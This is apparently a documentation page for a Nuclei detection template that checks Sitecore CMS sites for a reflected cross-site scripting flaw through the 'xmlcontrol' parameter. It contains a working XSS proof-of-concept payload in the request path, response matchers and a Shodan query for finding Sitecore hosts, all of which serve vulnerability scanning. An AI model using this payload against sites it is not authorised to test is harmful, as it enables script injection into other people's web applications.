SiteCore XML Control Script Insertion
ID: sitecore-xml-xss
Severity: medium
Author: DhiyaneshDK
Tags: xss,sitecore,cms
Description
Section titled “Description”Sitecores “special way” of displaying XML Controls directly allows for a Cross Site Scripting Attack – more can be achieved with these XML Controls
YAML Source
Section titled “YAML Source”id: sitecore-xml-xss
info: name: SiteCore XML Control Script Insertion author: DhiyaneshDK severity: medium description: | Sitecores “special way” of displaying XML Controls directly allows for a Cross Site Scripting Attack – more can be achieved with these XML Controls reference: | - https://vulners.com/securityvulns/SECURITYVULNS:DOC:30273 - https://web.archive.org/web/20151016072340/http://www.securityfocus.com/archive/1/530901/100/0/threaded classification: cpe: cpe:2.3:a:sitecore:sitecore.net:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: sitecore product: sitecore.net shodan-query: html:"Sitecore" tags: xss,sitecore,cms
http: - method: GET path: - "{{BaseURL}}/?xmlcontrol=body%20onload=alert(document.domain)"
matchers-condition: and matchers: - type: word part: body words: - "<body onload=alert(document.domain) />"
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4b0a00483046022100e1a5d9bb8833a1a078d73d226c6ea9da6b43c5e79eee307798007a40d6b4996d022100ae77daa481f74c23854134ef24a5c0864e3682f686e3ebd0d89f70563d3a2563:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/sitecore/sitecore-xml-xss.yaml"